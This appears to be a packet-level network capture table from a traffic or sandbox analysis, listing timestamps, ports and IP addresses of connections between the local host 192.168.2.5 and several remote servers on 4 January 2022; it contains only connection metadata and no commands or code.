Jan 4, 2022 19:33:41.725569963 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.725603104 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.725758076 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.752070904 CET	443	49855	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:41.752135038 CET	443	49855	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:41.752211094 CET	49855	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:41.752649069 CET	49855	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:41.752670050 CET	443	49855	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:41.752737045 CET	49855	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:41.752748013 CET	443	49855	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:41.772258997 CET	49856	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.772310019 CET	443	49856	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.772448063 CET	49856	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.773058891 CET	49856	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.773087025 CET	443	49856	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.815625906 CET	443	49856	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.815706015 CET	49856	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.816535950 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.816560030 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.816576958 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.816593885 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.816610098 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.816669941 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.816720009 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.818156004 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.818176031 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.818201065 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.818217993 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.818233967 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.818252087 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.818284035 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.818285942 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.818306923 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.818312883 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.818376064 CET	49856	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.818377972 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.818397999 CET	443	49856	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.818418026 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.818471909 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.818531036 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.818682909 CET	443	49856	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.818953991 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.820164919 CET	49856	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:41.821506977 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821526051 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821544886 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821562052 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821580887 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821598053 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821614981 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821630955 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821644068 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821655035 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.821660042 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821676016 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821688890 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.821691036 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821700096 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.821707964 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.821711063 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821728945 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821759939 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821787119 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821803093 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821805000 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.821819067 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821824074 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.821834087 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.821839094 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821842909 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.821852922 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821866989 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821885109 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821896076 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821907997 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821926117 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821929932 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.821942091 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.821943998 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.821984053 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.821993113 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.848311901 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.848335981 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.848347902 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.848360062 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.848464012 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.860912085 CET	443	49856	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:41.930576086 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.969573975 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.969599009 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.969815969 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:41.994697094 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.994734049 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:41.994860888 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.057605982 CET	443	49856	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.057689905 CET	443	49856	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.057816982 CET	49856	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.058007002 CET	49856	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.058022022 CET	443	49856	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.058031082 CET	49856	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.058036089 CET	443	49856	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.060205936 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.060260057 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.061069012 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.061269045 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.061296940 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.085613966 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.085666895 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.085692883 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.085720062 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.085748911 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.085762024 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.085767984 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.087470055 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.087500095 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.087527990 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.087553024 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.087575912 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.087579012 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.087595940 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.087606907 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.087634087 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.087692976 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.087702036 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.087891102 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.087918997 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.087944984 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.088886976 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.090565920 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.090599060 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.090625048 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.090653896 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.090688944 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.090718985 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.090915918 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.090965033 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.090995073 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091044903 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091074944 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091078043 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.091104031 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091130018 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091131926 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.091135979 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.091162920 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091191053 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091217995 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091239929 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.091243029 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091245890 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.091270924 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091298103 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091324091 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091344118 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.091348886 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.091351032 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091377974 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091404915 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091433048 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091454983 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.091459036 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091459990 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.091486931 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091514111 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091540098 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.091557980 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.091563940 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.102387905 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.103249073 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.103269100 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.104073048 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.104088068 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.117625952 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.117676973 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.117717028 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.117757082 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.117794037 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.117813110 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.117840052 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.117925882 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.238794088 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.238821983 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.238838911 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.238888025 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.263875961 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.263914108 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.264003992 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.354712009 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.354784966 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.354787111 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.354839087 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.354891062 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.354960918 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.356666088 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.356700897 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.356731892 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.356743097 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.356765985 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.356785059 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.356797934 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.356828928 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.356878042 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.356883049 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.356915951 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.356962919 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.358011007 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.358043909 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.358081102 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.359673023 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.359738111 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.359771013 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.359802008 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.359847069 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.359859943 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.360482931 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.360528946 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.360569000 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.360577106 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.360611916 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.360620975 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.360671997 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.360724926 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.360749006 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.360810041 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.360909939 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.360955954 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.360963106 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.360997915 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.360997915 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.361037970 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.361076117 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.361126900 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.361129999 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.361187935 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.361236095 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.361248016 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.361294031 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.361310005 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.361363888 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.361408949 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.361421108 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.361476898 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.361521959 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.361531019 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.361587048 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.361634970 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.361638069 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.361691952 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.363634109 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.386754036 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.386796951 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.386818886 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.386857033 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.386878967 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.386879921 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.386935949 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.387125015 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.388744116 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.402081013 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402141094 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402185917 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402225971 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402283907 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402311087 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.402344942 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402363062 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.402391911 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402425051 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402442932 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.402455091 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402465105 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.402496099 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402533054 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402568102 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402600050 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.402605057 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402621031 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402652979 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.402673960 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402705908 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402738094 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402774096 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402779102 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.402789116 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402801037 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.402839899 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402877092 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402909994 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402915955 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.402925968 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.402935028 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.402971029 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.403007030 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.403038979 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.403047085 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.403059006 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.403069019 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.403096914 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.403105974 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.403120995 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.403173923 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.403187990 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.403202057 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.403237104 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.403269053 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.403280020 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.403338909 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.403383017 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.403392076 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.404304981 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.404347897 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.404361963 CET	49857	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:42.404372931 CET	443	49857	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:42.451900005 CET	49846	38133	192.168.2.5	86.107.197.138
Jan 4, 2022 19:33:42.481156111 CET	38133	49846	86.107.197.138	192.168.2.5
Jan 4, 2022 19:33:42.486258030 CET	49858	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:42.508104086 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.508143902 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.508265018 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.533204079 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.533236980 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.533261061 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.533325911 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.546739101 CET	80	49858	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:42.548666000 CET	49858	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:42.549173117 CET	49858	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:42.550254107 CET	49858	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:42.605109930 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.605117083 CET	49846	38133	192.168.2.5	86.107.197.138
Jan 4, 2022 19:33:42.609463930 CET	80	49858	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:42.610404968 CET	80	49858	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:42.623631001 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.623827934 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.623855114 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.624330997 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:42.625719070 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.625756979 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.625781059 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.625806093 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:42.625828981 CET	80	49839	61.98.7.132	192.168.2.5
